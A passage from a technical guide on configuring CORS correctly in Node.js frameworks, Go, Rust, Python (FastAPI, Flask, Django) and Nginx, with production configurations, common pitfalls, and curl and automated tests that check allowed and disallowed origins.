    res.end(JSON.stringify([{ id: 1, name: 'Alice' }]));
    return;
  }

  res.writeHead(404);
  res.end('Not found');
});

server.listen(8080, () => console.log('Listening on :8080'));

For multiple origins:

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://staging.example.com',
]);

// In the request handler:
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.has(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin');
}

The key things people forget in manual implementations:

  1. Vary: Origin when dynamically setting the allowed origin
  2. Handling OPTIONS explicitly—it won't be handled by your GET/POST handlers
  3. Setting CORS headers before ending the responseres.setHeader must come before res.writeHead or res.end

Fastify CORS Plugin

Fastify uses the @fastify/cors plugin:

npm install @fastify/cors
const fastify = require('fastify')({ logger: true });

fastify.register(require('@fastify/cors'), {
  origin: ['https://app.example.com', 'https://staging.example.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400,
});

fastify.get('/api/users', async (request, reply) => {
  return [{ id: 1, name: 'Alice' }];
});

fastify.listen({ port: 8080 });

Fastify's CORS plugin supports the same dynamic origin function:

fastify.register(require('@fastify/cors'), {
  origin: (origin, cb) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) {
      cb(null, true);
    } else {
      cb(new Error('Not allowed'), false);
    }
  },
  credentials: true,
});

Fastify handles OPTIONS preflight automatically when the plugin is registered. No extra configuration needed.

One nice Fastify feature: the @fastify/cors plugin supports per-route overrides via the delegator option, letting you apply different CORS policies to different route prefixes without multiple plugin registrations.

Hono CORS Middleware

Hono is popular for Cloudflare Workers, Deno, and Bun. Its CORS middleware is built in:

import { Hono } from 'hono';
import { cors } from 'hono/cors';

const app = new Hono();

// Global CORS
app.use('/*', cors({
  origin: 'https://app.example.com',
  allowMethods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowHeaders: ['Content-Type', 'Authorization'],
  exposeHeaders: ['X-Total-Count'],
  credentials: true,
  maxAge: 86400,
}));

app.get('/api/users', (c) => {
  return c.json([{ id: 1, name: 'Alice' }]);
});

export default app;

Multiple origins in Hono:

app.use('/*', cors({
  origin: ['https://app.example.com', 'https://staging.example.com'],
}));

Or with a function:

app.use('/*', cors({
  origin: (origin) => {
    if (origin.endsWith('.example.com')) {
      return origin;
    }
    return null; // Disallowed
  },
}));

Hono's middleware handles preflight automatically. Since Hono is framework-agnostic (runs on Workers, Deno, Bun, Node), the same CORS configuration works across all runtimes.

Per-route CORS in Hono:

// Public endpoints
app.use('/api/public/*', cors());

// Restricted endpoints
app.use('/api/admin/*', cors({
  origin: 'https://admin.example.com',
  credentials: true,
}));

Full Working Example with Tests

Here's a complete Express server with CORS configured properly and curl commands to test every aspect of it:

// server.js
const express = require('express');
const cors = require('cors');

const app = express();

const ALLOWED_ORIGINS = [
  'https://app.example.com',
  'https://staging.example.com',
];

app.use(cors({
  origin: function (origin, callback) {
    if (!origin || ALLOWED_ORIGINS.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`Origin ${origin} not allowed`));
    }
  },
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: ['X-Total-Count', 'X-Request-Id'],
  credentials: true,
  maxAge: 86400,
}));

app.use(express.json());

app.get('/api/users', (req, res) => {
  const users = [
    { id: 1, name: 'Alice' },
    { id: 2, name: 'Bob' },
  ];
  res.set('X-Total-Count', users.length);
  res.set('X-Request-Id', 'req-abc-123');
  res.json(users);
});

app.post('/api/users', (req, res) => {
  const { name } = req.body;
  res.status(201).json({ id: 3, name });
});

// Error handler that preserves CORS headers
// (cors middleware already set them, so they're on the response)
app.use((err, req, res, _next) => {
  console.error(err.message);
  if (err.message.includes('not allowed')) {
    res.status(403).json({ error: err.message });
  } else {
    res.status(500).json({ error: 'Internal server error' });
  }
});

const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

Now test it:

# Test 1: Simple GET from allowed origin
curl -v http://localhost:8080/api/users \
  -H "Origin: https://app.example.com"

# Expected response headers:
#   Access-Control-Allow-Origin: https://app.example.com
#   Access-Control-Allow-Credentials: true
#   Access-Control-Expose-Headers: X-Total-Count, X-Request-Id
#   X-Total-Count: 2
#   X-Request-Id: req-abc-123
#   Vary: Origin
# Test 2: GET from disallowed origin
curl -v http://localhost:8080/api/users \
  -H "Origin: https://evil.com"

# Expected: 403 with no Access-Control-Allow-Origin header
# Test 3: Preflight for POST with Authorization header
curl -v -X OPTIONS http://localhost:8080/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization"

# Expected response headers:
#   HTTP/1.1 204 No Content
#   Access-Control-Allow-Origin: https://app.example.com
#   Access-Control-Allow-Methods: GET,POST,PUT,DELETE
#   Access-Control-Allow-Headers: Content-Type, Authorization
#   Access-Control-Allow-Credentials: true
#   Access-Control-Max-Age: 86400
# Test 4: Actual POST (after preflight succeeds)
curl -v -X POST http://localhost:8080/api/users \
  -H "Origin: https://app.example.com" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer fake-token-123" \
  -d '{"name": "Charlie"}'

# Expected: 201 with CORS headers and {"id":3,"name":"Charlie"}
# Test 5: Request without Origin (non-browser client)
curl -v http://localhost:8080/api/users

# Expected: 200 with data, no CORS headers (no Origin = no CORS)
# Test 6: Check for double headers (should be exactly 1)
curl -s -D - http://localhost:8080/api/users \
  -H "Origin: https://app.example.com" \
  -o /dev/null | grep -c "Access-Control-Allow-Origin"

# Expected: 1 (if you see 2, you have a double header problem)

Testing Your CORS Configuration

Beyond curl, here are other ways to verify your CORS setup:

Browser DevTools

  1. Open your frontend app in the browser
  2. Open DevTools → Network tab
  3. Check "Preserve log" and "Disable cache"
  4. Make a request that should trigger CORS
  5. Look for the OPTIONS preflight request (if applicable)
  6. Click on the request and examine Response Headers
  7. Verify Access-Control-Allow-Origin matches your frontend's origin

A Minimal HTML Test File

Create a file cors-test.html and open it in a browser:

<!DOCTYPE html>
<html>
<body>
<pre id="output">Testing CORS...</pre>
<script>
  async function testCORS() {
    const output = document.getElementById('output');
    try {
      const res = await fetch('http://localhost:8080/api/users', {
        credentials: 'include',
        headers: {
          'Authorization': 'Bearer test-token',
        },
      });
      const data = await res.json();
      const totalCount = res.headers.get('X-Total-Count');
      output.textContent = JSON.stringify({
        status: res.status,
        totalCount,
        data,
      }, null, 2);
    } catch (err) {
      output.textContent = `CORS Error: ${err.message}\nCheck DevTools console for details.`;
    }
  }
  testCORS();
</script>
</body>
</html>

Open this file via a local web server (not file://file:// origins behave differently). A quick way:

npx serve -p 3000 .
# Then open http://localhost:3000/cors-test.html

This makes a credentialed cross-origin request from http://localhost:3000 to http://localhost:8080. If your CORS configuration includes http://localhost:3000 in the allowed origins, it works. If not, you'll see the error in the console and in the page.

Automated Testing

For CI/CD, write integration tests that verify CORS headers:

// cors.test.js (using Node's built-in test runner)
const { test } = require('node:test');
const assert = require('node:assert');

const BASE = 'http://localhost:8080';

test('returns CORS headers for allowed origin', async () => {
  const res = await fetch(`${BASE}/api/users`, {
    headers: { 'Origin': 'https://app.example.com' },
  });
  assert.strictEqual(
    res.headers.get('access-control-allow-origin'),
    'https://app.example.com'
  );
  assert.strictEqual(
    res.headers.get('access-control-allow-credentials'),
    'true'
  );
});

test('does not return CORS headers for disallowed origin', async () => {
  const res = await fetch(`${BASE}/api/users`, {
    headers: { 'Origin': 'https://evil.com' },
  });
  assert.strictEqual(
    res.headers.get('access-control-allow-origin'),
    null
  );
});

test('handles preflight correctly', async () => {
  const res = await fetch(`${BASE}/api/users`, {
    method: 'OPTIONS',
    headers: {
      'Origin': 'https://app.example.com',
      'Access-Control-Request-Method': 'POST',
      'Access-Control-Request-Headers': 'Content-Type, Authorization',
    },
  });
  assert.strictEqual(res.status, 204);
  assert.strictEqual(
    res.headers.get('access-control-allow-origin'),
    'https://app.example.com'
  );
  assert.ok(
    res.headers.get('access-control-allow-methods').includes('POST')
  );
  assert.ok(
    res.headers.get('access-control-allow-headers').includes('Authorization')
  );
});

test('exposes custom headers', async () => {
  const res = await fetch(`${BASE}/api/users`, {
    headers: { 'Origin': 'https://app.example.com' },
  });
  const exposed = res.headers.get('access-control-expose-headers');
  assert.ok(exposed.includes('X-Total-Count'));
  assert.ok(exposed.includes('X-Request-Id'));
});

Run with:

# Start server in background, run tests, then stop
node server.js &
SERVER_PID=$!
sleep 1
node --test cors.test.js
kill $SERVER_PID

CORS configuration is one of those things that's easy to break accidentally (a dependency update, a new middleware, a deployment change). Automated tests catch regressions before your users do.

Summary

FrameworkPackage/PluginPreflight handlingMultiple origins
ExpresscorsAutomatic with app.use(cors()), manual with per-routeFunction in origin option
Fastify@fastify/corsAutomaticArray or function in origin option
Honohono/cors (built-in)AutomaticArray or function in origin option
Raw Node.jsManualMust handle OPTIONS explicitlyManual check against allowlist

The recipe for getting CORS right in Node.js:

  1. Put CORS middleware first in the middleware stack
  2. Use specific origins, not *, for anything with credentials
  3. Handle OPTIONS explicitly if using per-route CORS
  4. Set maxAge to reduce preflight traffic
  5. Set exposedHeaders for any custom response headers your frontend reads
  6. Set Vary: Origin when dynamically choosing the allowed origin (the cors package does this for you)
  7. Test with curl before testing in the browser—curl shows you the raw headers without the browser's interpretation layer
  8. Write automated tests for your CORS configuration—it breaks more often than you'd think

CORS in Go, Rust, and Python

You've made it past the JavaScript chapter. Congratulations. Now we get to talk about the languages where people tend to think they don't have CORS problems — right up until the moment their frontend colleague walks over with That Look on their face.

The fundamental challenge is identical in every language: your server needs to return the right headers on the right requests, including responding to OPTIONS preflight requests that your application routes probably don't handle. The specifics of how you bolt that onto your HTTP stack vary quite a bit, though.

Let's work through Go, Rust, and Python — covering the dominant web frameworks in each, from the quick-and-dirty setup to a hardened production configuration.


Go

Go's standard library gives you a perfectly capable HTTP server with zero CORS awareness. This is both a blessing (you can do exactly what you want) and a curse (you will do it wrong the first time).

Manual CORS in net/http

Let's start with the raw approach, because understanding it makes every library make more sense.

package main

import (
    "fmt"
    "net/http"
)

func corsMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        origin := r.Header.Get("Origin")

        // Check if the origin is allowed
        allowedOrigins := map[string]bool{
            "https://app.example.com":     true,
            "https://staging.example.com": true,
        }

        if allowedOrigins[origin] {
            w.Header().Set("Access-Control-Allow-Origin", origin)
            w.Header().Set("Vary", "Origin")
        }

        // Handle preflight
        if r.Method == http.MethodOptions {
            w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
            w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
            w.Header().Set("Access-Control-Max-Age", "86400")
            w.WriteHeader(http.StatusNoContent)
            return
        }

        next.ServeHTTP(w, r)
    })
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/api/data", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "application/json")
        fmt.Fprintf(w, `{"message": "hello from Go"}`)
    })

    http.ListenAndServe(":8080", corsMiddleware(mux))
}

This works. It's also the kind of thing that accumulates subtle bugs over six months of feature work. Notice the things you have to remember:

  1. Always set Vary: Origin when the response varies by origin (it does).
  2. Return early on OPTIONS — if you let it fall through to your handler, you'll probably get a 405 Method Not Allowed.
  3. Check the origin against an allowlist — don't just reflect it back blindly (we'll get to why in the security chapter).

The rs/cors Package

The most popular standalone CORS library for Go is rs/cors. It handles the fiddly bits properly.

Minimal configuration:

package main

import (
    "fmt"
    "net/http"

    "github.com/rs/cors"
)

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/api/data", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "application/json")
        fmt.Fprintf(w, `{"message": "hello"}`)
    })

    // Allow everything — fine for local development, terrible for production
    handler := cors.AllowAll().Handler(mux)
    http.ListenAndServe(":8080", handler)
}

Production configuration:

c := cors.New(cors.Options{
    AllowedOrigins:   []string{"https://app.example.com", "https://staging.example.com"},
    AllowedMethods:   []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
    AllowedHeaders:   []string{"Content-Type", "Authorization", "X-Request-ID"},
    ExposedHeaders:   []string{"X-Request-ID", "X-RateLimit-Remaining"},
    AllowCredentials: true,
    MaxAge:           86400, // 24 hours, in seconds
    Debug:            false, // Set true during development — logs every CORS decision
})

handler := c.Handler(mux)

The Debug: true option is genuinely useful. It logs exactly why a request was allowed or rejected, which is worth its weight in gold when you're staring at a No 'Access-Control-Allow-Origin' header error in DevTools.

Common gotcha: AllowedOrigins: []string{"*"} and AllowCredentials: true will not work. The library will refuse, and it's right to do so — the spec forbids this combination. You must list explicit origins when credentials are involved.

Chi Middleware

If you're using the Chi router, CORS comes as a first-party middleware:

package main

import (
    "fmt"
    "net/http"

    "github.com/go-chi/chi/v5"
    "github.com/go-chi/cors"
)

func main() {
    r := chi.NewRouter()

    r.Use(cors.Handler(cors.Options{
        AllowedOrigins:   []string{"https://app.example.com"},
        AllowedMethods:   []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
        AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type"},
        ExposedHeaders:   []string{"Link"},
        AllowCredentials: true,
        MaxAge:           300,
    }))

    r.Get("/api/data", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "application/json")
        fmt.Fprintf(w, `{"message": "hello from Chi"}`)
    })

    http.ListenAndServe(":8080", r)
}

The Chi CORS middleware is actually a thin wrapper around rs/cors, so the behavior is identical. Use whichever feels right.

Testing Go CORS with curl

A simple request:

curl -v -H "Origin: https://app.example.com" \
  http://localhost:8080/api/data

You should see in the response:

< Access-Control-Allow-Origin: https://app.example.com
< Vary: Origin

A preflight request:

curl -v -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization" \
  http://localhost:8080/api/data

Expected response:

< HTTP/1.1 204 No Content
< Access-Control-Allow-Origin: https://app.example.com
< Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
< Access-Control-Allow-Headers: Content-Type, Authorization
< Access-Control-Max-Age: 86400
< Vary: Origin

If you get a 200 OK with an HTML body instead of 204 No Content, your CORS middleware isn't intercepting the preflight — the request is falling through to your default handler. Check your middleware ordering.


Rust

Rust's web ecosystem has matured significantly. The two frameworks you're most likely to encounter are Axum (built on tower and hyper) and Actix-web. Both have solid CORS support, but they wire it up differently.

Axum with tower-http CorsLayer

Axum doesn't bundle CORS handling — it delegates to tower-http, which provides a CorsLayer that works as Tower middleware.

Minimal configuration (development):

use axum::{routing::get, Json, Router};
use serde_json::{json, Value};
use tower_http::cors::CorsLayer;

#[tokio::main]
async fn main() {
    let app = Router::new()
        .route("/api/data", get(handler))
        .layer(CorsLayer::permissive()); // Allows everything — development only!

    let listener = tokio::net::TcpListener::bind("0.0.0.0:8080").await.unwrap();
    axum::serve(listener, app).await.unwrap();
}

async fn handler() -> Json<Value> {
    Json(json!({"message": "hello from Axum"}))
}

CorsLayer::permissive() is the equivalent of Access-Control-Allow-Origin: * with all methods and headers allowed. It's great for hacking on something locally and a liability anywhere else.

Production configuration:

use axum::{routing::{get, post}, Json, Router};
use http::{header, HeaderValue, Method};
use serde_json::{json, Value};
use tower_http::cors::CorsLayer;
use std::time::Duration;

#[tokio::main]
async fn main() {
    let cors = CorsLayer::new()
        .allow_origin([
            "https://app.example.com".parse::<HeaderValue>().unwrap(),
            "https://staging.example.com".parse::<HeaderValue>().unwrap(),
        ])
        .allow_methods([
            Method::GET,
            Method::POST,
            Method::PUT,
            Method::DELETE,
            Method::OPTIONS,
        ])
        .allow_headers([
            header::CONTENT_TYPE,
            header::AUTHORIZATION,
            HeaderName::from_static("x-request-id"),
        ])
        .expose_headers([
            HeaderName::from_static("x-request-id"),
            HeaderName::from_static("x-ratelimit-remaining"),
        ])
        .allow_credentials(true)
        .max_age(Duration::from_secs(86400));

    let app = Router::new()
        .route("/api/data", get(get_data))
        .route("/api/data", post(create_data))
        .layer(cors);

    let listener = tokio::net::TcpListener::bind("0.0.0.0:8080").await.unwrap();
    axum::serve(listener, app).await.unwrap();
}

async fn get_data() -> Json<Value> {
    Json(json!({"message": "hello from Axum"}))
}

async fn create_data(Json(body): Json<Value>) -> Json<Value> {
    Json(json!({"created": true, "data": body}))
}

A few Rust-specific notes:

  • The .parse::<HeaderValue>().unwrap() dance is unavoidable. Axum uses typed headers from the http crate, so origins must be valid HeaderValues. If you're loading origins from config, handle the parse error properly instead of unwrapping.
  • allow_credentials(true) will make the layer refuse to combine with a wildcard origin, just like every other well-behaved CORS implementation.
  • Layer ordering matters. In Axum, layers applied later in the chain execute first. If you have auth middleware that rejects requests before CORS headers are set, preflight requests will fail. Put the CORS layer after (i.e., outermost) your auth layer.

You'll also need these in your Cargo.toml:

[dependencies]
axum = "0.8"
http = "1"
serde_json = "1"
tokio = { version = "1", features = ["full"] }
tower-http = { version = "0.6", features = ["cors"] }

Common gotcha with Axum: Forgetting to enable the cors feature on tower-http. The compiler error you'll get is about CorsLayer not existing, not about a missing feature flag. Every Rust developer has lost ten minutes to this at least once.

Actix-web CORS Middleware

Actix-web has its own CORS crate: actix-cors.

use actix_cors::Cors;
use actix_web::{get, web, App, HttpResponse, HttpServer};

#[get("/api/data")]
async fn get_data() -> HttpResponse {
    HttpResponse::Ok().json(serde_json::json!({"message": "hello from Actix"}))
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    HttpServer::new(|| {
        // Production CORS config
        let cors = Cors::default()
            .allowed_origin("https://app.example.com")
            .allowed_origin("https://staging.example.com")
            .allowed_methods(vec!["GET", "POST", "PUT", "DELETE"])
            .allowed_headers(vec![
                actix_web::http::header::CONTENT_TYPE,
                actix_web::http::header::AUTHORIZATION,
            ])
            .expose_headers(vec!["X-Request-ID"])
            .supports_credentials()
            .max_age(86400);

        App::new()
            .wrap(cors)
            .service(get_data)
    })
    .bind("0.0.0.0:8080")?
    .run()
    .await
}

Common gotcha with Actix: The CORS middleware is created inside the closure passed to HttpServer::new. This closure runs once per worker thread. If you're loading allowed origins from a database or external config, make sure that lookup happens before the closure, and you clone/share the result into each worker.

For a permissive development config in Actix:

#![allow(unused)]
fn main() {
let cors = Cors::permissive();
}

Testing Rust CORS with curl

Same curl commands work regardless of backend language — CORS is a protocol, not a language feature:

# Simple GET with Origin header
curl -v -H "Origin: https://app.example.com" \
  http://localhost:8080/api/data

# Preflight for a POST with JSON body
curl -v -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type" \
  http://localhost:8080/api/data

If you want to verify that a disallowed origin is properly rejected:

curl -v -H "Origin: https://evil.example.com" \
  http://localhost:8080/api/data

You should see no Access-Control-Allow-Origin header in the response. The request still succeeds (the server doesn't block it — the browser does), but without the CORS header, a browser would refuse to let JavaScript read the response.


Python

Python has three major web frameworks these days, each with its own CORS story.

FastAPI with CORSMiddleware

FastAPI has CORS support built into Starlette, so there's no extra package to install. This is the smoothest CORS experience in the Python ecosystem.

Minimal configuration:

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

# Allow everything — development only
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.get("/api/data")
async def get_data():
    return {"message": "hello from FastAPI"}

Production configuration:

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

origins = [
    "https://app.example.com",
    "https://staging.example.com",
]

app.add_middleware(
    CORSMiddleware,
    allow_origins=origins,
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE", "OPTIONS"],
    allow_headers=["Content-Type", "Authorization", "X-Request-ID"],
    expose_headers=["X-Request-ID", "X-RateLimit-Remaining"],
    max_age=86400,
)

@app.get("/api/data")
async def get_data():
    return {"message": "hello from FastAPI"}

@app.post("/api/data")
async def create_data(data: dict):
    return {"created": True, "data": data}

Run it with:

uvicorn main:app --host 0.0.0.0 --port 8080

Common gotcha: If you set allow_origins=["*"] and allow_credentials=True, Starlette will silently allow it — unlike Go's rs/cors, it won't warn you. Your browser will reject the response, though, and you'll spend twenty minutes wondering why cookies aren't being sent. The spec says wildcard origin + credentials is invalid. Starlette trusts you to know that. Maybe it shouldn't.

Full FastAPI example with error handling:

from fastapi import FastAPI, HTTPException
from fastapi.middleware.cors import CORSMiddleware
from pydantic import BaseModel
from typing import Optional
import os

app = FastAPI(title="CORS Example API")

# Load origins from environment
allowed_origins = os.getenv(
    "ALLOWED_ORIGINS",
    "http://localhost:3000,http://localhost:5173"
).split(",")

app.add_middleware(
    CORSMiddleware,
    allow_origins=allowed_origins,
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Content-Type", "Authorization"],
    expose_headers=["X-Request-ID"],
    max_age=600,  # 10 minutes — reasonable for most APIs
)

class Item(BaseModel):
    name: str
    description: Optional[str] = None

items_db = {}

@app.get("/api/items")
async def list_items():
    return {"items": list(items_db.values())}

@app.post("/api/items")
async def create_item(item: Item):
    item_id = len(items_db) + 1
    items_db[item_id] = {"id": item_id, **item.model_dump()}
    return items_db[item_id]

@app.get("/api/items/{item_id}")
async def get_item(item_id: int):
    if item_id not in items_db:
        raise HTTPException(status_code=404, detail="Item not found")
    return items_db[item_id]

Note that CORS headers are added even on error responses (404, 500, etc.) because the middleware wraps the entire application. This is the correct behavior — your frontend needs to be able to read error responses too. Not all frameworks get this right by default.

Flask with Flask-CORS

pip install flask flask-cors

Minimal configuration:

from flask import Flask, jsonify
from flask_cors import CORS

app = Flask(__name__)
CORS(app)  # Allows all origins — development only

@app.route("/api/data")
def get_data():
    return jsonify({"message": "hello from Flask"})

Production configuration:

from flask import Flask, jsonify, request
from flask_cors import CORS

app = Flask(__name__)

CORS(app,
    origins=["https://app.example.com", "https://staging.example.com"],
    methods=["GET", "POST", "PUT", "DELETE", "OPTIONS"],
    allow_headers=["Content-Type", "Authorization", "X-Request-ID"],
    expose_headers=["X-Request-ID", "X-RateLimit-Remaining"],
    supports_credentials=True,
    max_age=86400,
)

@app.route("/api/data", methods=["GET"])
def get_data():
    return jsonify({"message": "hello from Flask"})

@app.route("/api/data", methods=["POST"])
def create_data():
    data = request.get_json()
    return jsonify({"created": True, "data": data}), 201

Per-route CORS — Flask-CORS also supports decorating individual routes:

from flask_cors import cross_origin

@app.route("/api/public")
@cross_origin()  # Wide open
def public_data():
    return jsonify({"public": True})

@app.route("/api/private")
@cross_origin(origins=["https://app.example.com"], supports_credentials=True)
def private_data():
    return jsonify({"private": True})

Common gotcha: Flask-CORS's CORS(app) with no arguments allows * for origins and doesn't set supports_credentials. If you later add supports_credentials=True without specifying origins, you're back to the wildcard-plus-credentials problem. Flask-CORS handles this better than Starlette — it will reflect the requesting origin back instead of sending * when credentials are enabled. But you should still explicitly list your origins.

Django with django-cors-headers

pip install django-cors-headers

In settings.py:

INSTALLED_APPS = [
    # ... your apps ...
    'corsheaders',
    # ... other apps ...
]

MIDDLEWARE = [
    'corsheaders.middleware.CorsMiddleware',  # MUST be before CommonMiddleware
    'django.middleware.common.CommonMiddleware',
    # ... other middleware ...
]

Development configuration:

CORS_ALLOW_ALL_ORIGINS = True  # Don't even think about it in production

Production configuration:

CORS_ALLOWED_ORIGINS = [
    "https://app.example.com",
    "https://staging.example.com",
]

# Or use a regex for subdomains:
CORS_ALLOWED_ORIGIN_REGEXES = [
    r"^https://\w+\.example\.com$",
]

CORS_ALLOW_METHODS = [
    "GET",
    "POST",
    "PUT",
    "PATCH",
    "DELETE",
    "OPTIONS",
]

CORS_ALLOW_HEADERS = [
    "accept",
    "authorization",
    "content-type",
    "x-request-id",
]

CORS_EXPOSE_HEADERS = [
    "x-request-id",
    "x-ratelimit-remaining",
]

CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 86400

Critical gotcha with Django: The CorsMiddleware must be placed as high as possible in the MIDDLEWARE list — specifically before CommonMiddleware and before any middleware that might generate responses (like SecurityMiddleware for HTTPS redirects). If a middleware higher in the chain returns a response before CorsMiddleware runs, the CORS headers won't be added.

I've seen this exact issue in production: Django's SecurityMiddleware was redirecting HTTP to HTTPS, and because it was above CorsMiddleware in the middleware list, the redirect response had no CORS headers. The browser saw a redirect without CORS headers and blocked the request. The fix was a one-line middleware reorder. The debugging took three hours.

Another Django gotcha: If you're using CORS_ALLOWED_ORIGIN_REGEXES, test your regex carefully. A common mistake:

# WRONG: matches evil-example.com, notexample.com, etc.
CORS_ALLOWED_ORIGIN_REGEXES = [
    r"^https://.*example\.com$",
]

# RIGHT: anchored to subdomain pattern
CORS_ALLOWED_ORIGIN_REGEXES = [
    r"^https://[a-z0-9]+\.example\.com$",
]

Testing Python CORS with curl

# Test simple request
curl -v -H "Origin: https://app.example.com" \
  http://localhost:8080/api/data

# Expected response headers:
# Access-Control-Allow-Origin: https://app.example.com
# Access-Control-Allow-Credentials: true
# Vary: Origin

# Test preflight
curl -v -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization" \
  http://localhost:8080/api/data

# Expected response:
# HTTP/1.1 200 OK  (or 204 No Content, depending on framework)
# Access-Control-Allow-Origin: https://app.example.com
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
# Access-Control-Allow-Headers: Content-Type, Authorization
# Access-Control-Max-Age: 86400
# Access-Control-Allow-Credentials: true

# Test disallowed origin
curl -v -H "Origin: https://evil.example.com" \
  http://localhost:8080/api/data

# Expected: no Access-Control-Allow-Origin header in response

Cross-Language Comparison

Here's the cheat sheet for when you inevitably switch between projects:

FeatureGo (rs/cors)Rust (Axum tower-http)Python (FastAPI)
Permissive dev modecors.AllowAll()CorsLayer::permissive()allow_origins=["*"]
Wildcard + creds guardErrors at runtimeErrors at compile timeSilently broken
Vary: OriginAutomaticAutomaticAutomatic
Preflight handlingAutomaticAutomaticAutomatic
Debug loggingDebug: trueUse tracing crateStarlette logging
CORS on error responsesDepends on error handlingDepends on error handlingAutomatic (middleware)

The "CORS on Error Responses" Problem

This deserves special attention because it bites every language equally. If your application panics, returns a 500, or hits an error path that bypasses the normal middleware chain, the CORS headers may be missing from the error response.

In Go, if you use http.Error() directly inside a handler without going through your CORS-aware response writer, you lose the headers.

In Rust/Axum, if a layer inside the CORS layer returns an error response (like auth middleware returning 401), the CORS layer still wraps it correctly. But if something panics and the panic handler generates a response, you may lose CORS headers.

In Python/FastAPI, the middleware wraps everything including exceptions, so CORS headers appear even on 500 responses. This is the most developer-friendly behavior.

The browser DevTools symptom: Your API returns a 500, you see the error in the Network tab, but the Console shows a CORS error instead of the actual error details. The 500 response arrived without CORS headers, so the browser won't let your JavaScript read it. You know there's a server error, but you can't see what error. Wonderful.

The fix in every language is the same: make sure your CORS middleware/layer is the outermost layer in your stack, wrapping everything else including error handlers and panic recovery.


Summary

Regardless of your language choice, the CORS configuration checklist is the same:

  1. List your allowed origins explicitly — no wildcards in production with credentials.
  2. Handle OPTIONS preflight requests — use middleware, don't do it manually unless you enjoy pain.
  3. Set Vary: Origin — every CORS library does this automatically, but verify it if you're rolling your own.
  4. Ensure CORS headers appear on error responses — test with curl against an endpoint that returns a 500.
  5. Set a reasonable Max-Age — 600 seconds (10 minutes) is safe; 86400 (24 hours) is aggressive but fine for stable APIs.
  6. Expose headers your frontend needsContent-Type and status are always available, everything else requires Access-Control-Expose-Headers.

Now go fix your colleague's CORS error. You know you want to.

CORS in Nginx and Apache

Here's a scenario that plays out roughly once a week in every organization that has both backend developers and a DevOps team: the backend developer adds proper CORS headers to their application. Everything works in local development. They deploy behind Nginx or Apache, and CORS breaks. Or worse — it appears to work, but the response now contains duplicate CORS headers, which some browsers reject.

Configuring CORS at the reverse proxy layer is tricky not because the concepts are hard, but because the configuration syntax is hostile and the interaction between your proxy and your upstream application creates subtle failure modes.

Let's do this properly.


Nginx

Nginx is the most common reverse proxy you'll encounter in front of API servers. It has no built-in CORS module. Everything is done with add_header directives and — regrettably — if blocks.

The Naive Approach (And Why It Breaks)

You'll find this snippet in approximately ten thousand Stack Overflow answers:

location /api/ {
    add_header Access-Control-Allow-Origin *;
    add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
    add_header Access-Control-Allow-Headers 'Content-Type, Authorization';

    proxy_pass http://backend:8080;
}

This looks right. It has three problems:

  1. add_header doesn't work on error responses. If your backend returns a 502, 503, or 500, Nginx generates an error page and the add_header directives are silently dropped. Your frontend gets a CORS error instead of a useful error message.

  2. add_header in a nested block removes parent headers. If you add any add_header inside an if block or a nested location, Nginx drops all add_header directives from the parent context. This is documented, but it's the kind of documentation footnote that nobody reads until they've already been burned.

  3. Wildcard * doesn't work with credentials. If your frontend sends cookies or Authorization headers, the browser rejects Access-Control-Allow-Origin: *.

The if Block Pattern for Preflight

The standard pattern for handling CORS preflight in Nginx uses if, which Nginx's own documentation warns you about ("if is evil"). In this case, it's the least-bad option:

location /api/ {
    # Handle preflight requests
    if ($request_method = 'OPTIONS') {
        add_header 'Access-Control-Allow-Origin' 'https://app.example.com' always;
        add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
        add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization, X-Request-ID' always;
        add_header 'Access-Control-Max-Age' 86400 always;
        add_header 'Content-Type' 'text/plain charset=UTF-8';
